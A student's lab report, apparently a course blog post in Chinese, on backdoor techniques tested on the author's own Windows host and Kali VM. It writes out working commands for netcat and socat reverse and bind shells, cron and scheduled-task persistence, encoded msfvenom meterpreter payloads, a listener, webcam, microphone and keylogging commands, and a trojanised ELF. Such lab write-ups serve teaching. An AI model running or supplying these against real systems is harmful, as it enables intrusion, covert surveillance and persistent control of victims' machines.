• 20192428魏来 《网络与系统系统攻防技术》实验二 后门原理与实践


    《网络与系统攻防技术》实验二 后门原理与实践

    实践目标

    1. 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
    2. 使用socat获取主机操作Shell, 任务计划启动
    3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    实验内容

    实践一:使用netcat获取主机操作Shell

    该实践首先需要获取Windows系统的ip地址,然后在windows的powershell(或者cmd等shell中)使用ncat的监听模式,再连接到kali系统中即可。
    首先获得主机IP:

    • 打开powershell,并输入ipconfig,查得ip地址为:172.16.211.25

    接下来输入:

     ncat.exe -l -p 8888  # 开启监听模式,监听端口8888
    

    打开Kali系统的终端,输入:

    nc 172.16.211.25 8888 -e /bin/sh
    # 把/bin/sh通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell
    

    如下图,即可获取Kali的shell,输入命令可以正常运行:

    因为实践要求我们使用cron去启动某项任务,上述实践中我们是直接在kali中使用ncat命令,接下来我们实现cron启动:

    crontab -e  # 添加crontab任务区
    Select an editor.  To change later, run 'select-editor'.
      1. /bin/nano        <---- easiest
      2. /usr/bin/vim.basic
      3. /usr/bin/vim.tiny
    
    1  # 我选了1,选错了所以退出编辑器重新选一次
    sudo select-editor
    2  # 选2号编辑器
    crontab -e
    * * * * * /bin/netcat 172.16.211.25 8888 -e /bin/sh  # 讲这句话添加在末尾
    :wq  # vim保存文件
    crontab -l  # 查看我们植入的周期性进程
    

    如下图为我们执行过程截图:


    最终实现结果如下图,每分钟Windows系统都可接收到一条连接请求~

    实践二:使用socat获取主机操作Shell

    实践二中我本来也打算使用power shell运行,但发现power shell有一些问题,可能是参数原因,无法实现,因此在实验二中我使用cmd进行操作。

    # 首先在cmd中找到socat文件夹下,输入下面的指令
    socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
    # 把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上
    
    # 打开虚拟机终端,输入下面指令
    socat - tcp:172.16.221.25
    # 输入完成后,将会显示cmd的命令行
    

    下图为实现截图:

    同实践一一样,该实践要求我们结合Windows下的任务计划程序,实现获取主机shell的自动化,接下来我们的操作如下:
    首先右键Windows,选择计算机管理,找到系统工具,选择里面的任务计划程序库,选择创建任务
    名称我设定为自己的学号:20192428,触发器随便设置一个时间(设定一个迟于当前时间的时间,确保能触发),并设置为接下来每一分钟触发一次,期限为无限期(方便我们调试),在操作中,添加指令:

    # 首先选择程序为我们的socat.exe
    tcp-listen:8888 exec:cmd.exe,pty,stderr  # 这个添加在参数里面 添加完成后直接点确定即可
    

    操作流程如下图:



    完成后,可以在任务计划程序库中找到我们刚才创建的任务:

    最后等待时间到达(其实也可以在任务计划程序库中直接执行我们所写的任务),系统打开我们的cmd,这时候再用虚拟机连接即可!
    最终效果图展示如下,实践二正式完成!

    实践三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    首先使用ifconfig指令,查询到虚拟机的IP地址为:192.168.202.134

    msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.202.134 LPORT=8889 -f exe > lls_bd_test.exe
    # lls_bd_test.exe 意思是来来的后门程序,这里加了几个参数,是看了万腾阳同学的博客后学习到的
    # -e 使用的编码器,用于对shellcode变形,为了免杀。
    # -i 编码器的迭代次数。如上即使用该编码器编码3次。
    # -b badchar是payload中需要去除的字符。
    # -f 生成文件的类型,即exe文件。
    
    # 生成完后门程序后,在Windows下运行:
    ncat.exe -l 8889 > lls_bd_test.exe
    # 在虚拟机中运行:
    nc 172.16.211.25 8889 < lls_bd_test.exe
    # 运行完上述两条指令后,在Windows下,cmd的当前所处文件夹下就会有我们传输的文件
    
    #确保有文件后,在虚拟机中执行:
    msfconsole  # 打开msfconsole
    
    use exploit/multi/handler  # 监听设置payload
    
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.202.134
    set LPORT 8889
    # 这三条消息需要确保和初始生成后门程序时一致
    
    exploit  # 开始监听
    
    # 运行shell命令验证即可
    

    上述操作即为实践三的全部内容,下面展示我的操作过程:


    最终获取Windows下的shell,如下图;

    实践四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    首先该实验在实验三的基础之上进行:

    # 获得录音权限,后面的数字代表时间,8s
    record_mic -d 8
    
    # 获得摄像头权限
    webcam_snap
    
    # 获取击键记录
    keyscan_start
    keyscan_dump
    
    # 获取截屏权限
    screenshot
    
    # 查看当前用户
    getuid
    

    该实践较为简单,仅仅是使用MSF meterpreter中的一些功能
    下面为实践过程:

    实践五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    首先使用MSF生成shellcode:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=8888 -x /home/kamanfuture/CTF/exp2/pwn1 -f elf >pwn1
    # 生成shellcode注入代码,为pwn20192428
    
    # 按照步骤三运行即可:
    msfconsole  # 打开msfconsole
    
    use exploit/multi/handler  # 监听设置payload
    
    set payload linux/x86/meterpreter/reverse_tcp # 注意,这个地方换为linux环境下
    set LHOST 192.168.202.134
    set LPORT 8888
    # 这三条消息需要确保和初始生成后门程序时一致
    
    exploit  # 开始监听
    

    接下来运行pwn20192428文件,即可获得shell的权限,下面展示我的实验过程:

    image

    实验中遇到的问题

    问题一:powershell在部分实验中无法使用

    最开始我想使用Windows下的power shell进行实验,但可能是最初下载power shell时没配置环境变量?中会出现一些小错误。
    解决方法就是换成cmd,简洁方便,只是黑色背景看起来比较压抑。

    问题二:MSF生成的pwn文件无权限运行

    这个问题可能不是因为MSF而产生的,实践五中,在运行MSF后我发现我的pwn源文件也无权限运行了,所以我怀疑可能是MSF,也可能是下载pwn文件时导致,最终按照这个帖子:没错就是我,成功运行。

    实践感想

    感觉自己变成了一个很酷的黑客,又酷又帅的黑客~
    本次实验让我对这门课程有了更深的了解,同时也让我有了更深的兴趣去尝试课程中所讲述的技术,同时我也希望今后能够学习到更接近目前我们所用的系统(Windows)的一些攻防技术,让我别再天天捣鼓我那个没有防火墙的虚拟机了~

  • 相关阅读:
    [APIO2014]序列分割
    [USACO08MAR]土地征用Land Acquisition
    Cats Transport
    [ZJOI2007]仓库建设
    [CEOI2004]锯木厂选址
    Print Article
    Interval 间隔问题
    Trie树
    动态规划-子数组乘积小于k的总个数 Subarray Product Less Than K
    动态规划-独特的子字符串存在于Wraparound String总个数 Unique Substrings in Wraparound String
  • 原文地址:https://www.cnblogs.com/KamanFuture/p/16086194.html
Copyright © 2020-2023  润新知